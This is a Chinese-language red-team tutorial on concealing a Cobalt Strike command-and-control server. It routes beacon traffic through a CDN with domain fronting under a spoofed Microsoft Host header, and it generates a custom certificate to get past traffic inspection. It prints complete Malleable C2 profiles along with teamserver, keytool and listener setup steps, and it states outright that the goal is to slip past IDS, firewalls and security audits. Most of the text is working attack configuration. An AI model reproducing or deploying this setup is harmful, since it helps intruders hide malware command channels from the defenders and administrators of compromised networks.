CS 域前置+流量混淆
域前置
简介
域前置(Domain Fronting)被称为域前端网络攻击技术,是一种隐藏连接真实端点来规避互联网审查的技术。这种技术被安全人员多用来隐藏 Metasploit,Cobalt Strike 等团队控制服务器流量, 以此来一定程度绕过检查器或防火墙检测的技术,国内外如:Amazon ,Google,Akamai 等大型厂商都会提供一些域前端技术服务。
域前置技术原理
同一个 IP 可以被不同的域名进行绑定然后进行网站加速,比如现在有两个网站,分别是 www.a.com 和 www.b.com,两个网站都指向同一个IP:123.123.123.123 ,然而这个IP实际上是一个CDN服务器,当浏览器访问 www.a.com 或 www.b.com 的时候怎么保证 访问的目标是正常的是指定的网站内容,这个时候就要在 HTTP 请求包里在 host 头加入访问的域名。
简单理解:
被攻击机器 -> www.microport.com(走aliyun cdn的域名,根据设定的host头: dns.google.cn找到对应的vps_ip) -> cdn流量转发到vps_ip(c2真实地址)。
实践
环境:cobalt strike 4.2 公网 CentOS
国内可以在鹅厂,某云购买CDN云加速服务,但注意,国内使用CDN云加速服务需要域名进行备案,如果你使用某云的必须购买已备案的域名。
开通CDN服务,加速域名:随便填个高信誉的域名实现域名伪造,例如:oss.microsoft.com,dns.google.com之类的。这里我使用msoffice.microsoft.com 伪造高信誉域名。
设置完成后,过一段时间就会生效。
在超级 ping 测试 cdn 的 ip 是否正常 http://ping.chinaz.com。
修改CS的域前置配置
修改 C2 的 profile 配置文件。
在https://github.com/xx0hcd/Malleable-C2-Profiles选择合适的profile文件,修改host头为我们准备好的域名。
统一替换里面的设置里面的header “Host”值为自己配置的域名,
设置set trust_x_forwarded_for “true”,转发目标的真实ip。
set sleeptime "3000";set jitter "30";set maxdns "255";set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; ###HTTP-Config Block###http-config { set headers "Server, Content-Type"; header "Content-Type" "text/html;charset=UTF-8"; header "Server" "Apache/2.2.22 (Ubuntu)"; set trust_x_forwarded_for "true";} http-get { set uri "/api/getit"; client { header "Host" "mfoffice.microsoft.com"; header "Accept" "*/*"; header "Connection" "Keep-Alive"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Apache/2.2.22 (Ubuntu)"; output { base64; print; } }} http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; client { header "Host" "mfoffice.microsoft.com"; header "Connection" "Keep-Alive"; } server { header "Server" "Apache/2.2.22 (Ubuntu)"; header "Keep-Alive" "timeout=5, max=100"; header "Connection" "Keep-Alive"; output { print; } }} http-post { set uri "/api/postit"; client { header "Accept" "*/*"; header "Host" "mfoffice.microsoft.com"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } }}
在 CentOS 上运行 teamserver 加上配置文件:
sudo ./teamserver x.x.x.x zxczxczxc cdn.profile
PS: 可以在命令的最前面加个 nohub ,表示不挂断的运行命令,不然 shell 断了 cs 也会连接不上。
以上命令如果运行报错说明profile文件配置错误了,仔细检查一下。
没有出错的情况下,连接,配置监听器。
选择 payload beacon https,
https hsots 是某云 cdn 的 ip。
生成后门测试。
上线。
用 Wireshark 进行抓包,走 cdn 节点,流量进行也加密了,C2 服务器的 ip 也隐藏了。
流量加密混淆
生成证书修改 C2 profile 流量加密混淆
cobalt strike 是很多红队的首选的攻击神器,同时很多APT团队近几年也都曾使用这个工具进行攻击在,效果显著。导致很多 IDS 入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之前的攻击就会付诸东流,攻击计划就要重新制定。
流量加密传输已经成为现在红队的基本素养,生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器。
生成SSL证书
运行CS的时候,默认使用的证书是 cobaltstrike.store 证书,默认的证书特征很明显,很容易被检测设备识别,我们生成新的证书的意义就是绕过检测设备,使之无法识别出明显的特征。
Keytool是一个java数据证书的管理工具,Keytool将密钥 和 证书 存放在一个称为 keystore 的文件中,即.store后缀的文件中。
keytool用来管理私钥仓库(keystore)和与之相关的X.509证书链(用以验证与私钥对应的公钥),也可以用来管理其他信任实体。
常用命令:
查看证书文件: keytool -list -v -keystore xx.store修改证书密码: keytool -storepasswd -keystore xx.store
查看 cs 的默认cobaltstrike.store:
keytool -list -v -keystore cobaltstrike.store
可以看出默认的特征信息都很明显。
创建新证书
keytool -genkey -alias google.com -keyalg RSA -validity 36500 -keystore cobaltstrike.store 输入之后输入密码:zxczxczxc按照提示一步一步填写最后输入y确定生成证书文件
修改 C2-profile 文件
set sample_name "C2.profile";set sleeptime "3000";set jitter "30";set maxdns "255";set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; #设置证书 https-certificate { set CN "DS"; set O "DS"; set C "ZG"; set L "BJ"; set OU "DS"; set ST "BJ"; set validity "365";}#设置 code-signer{ set keystore "cobaltstrike.store"; set password "zxczxczxc"; set alias "google.com";}#指定 DNS beacon 不用的时候指定到 IP 地址 set dns_idle "8.8.4.4";#每个单独 DNS 请求前强制睡眠时间 set dns_sleep "0";#通过 DNS 上载数据时主机名的最大长度[0-255] set maxdns "235"; ###HTTP-Config Block###http-config { set headers "Server, Content-Type"; header "Server" "Apache/2.2.22 (Ubuntu)"; set trust_x_forwarded_for "true";} http-get { set uri "/api/getit"; client { header "Host" "mfoffice.microsoft.com"; header "Accept" "*/*"; header "Connection" "Keep-Alive"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Apache/2.2.22 (Ubuntu)"; output { base64; print; } }} http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; client { header "Host" "mfoffice.microsoft.com"; header "Connection" "Keep-Alive"; } server { header "Server" "Apache/2.2.22 (Ubuntu)"; header "Keep-Alive" "timeout=5, max=100"; header "Connection" "Keep-Alive"; output { print; } }} http-post { set uri "/api/postit"; client { header "Accept" "*/*"; header "Host" "mfoffice.microsoft.com"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } }}
执行命令:
./c2lint C2.profile
没有报错,正常运行,如果运行失败,会出现红色。
修改端口
teamserver 默认端口是 50050 ,很明显,需要修改一下。
运行:
./teamserver x.x.x.x zxczxczxc C2.profile
PS:这里有个坑点,CS的证书密码默认是123456 ,如果你新生成的证书的密码不是123456,那么,修改端口的时候,后面的 .ssl.keyStorePassword的值也要修改一下,修改成你设置的密码。
测试
访问https证书生效。
正常上线。
wireshark抓取流量分析,可以看到流量已经走https加密了。
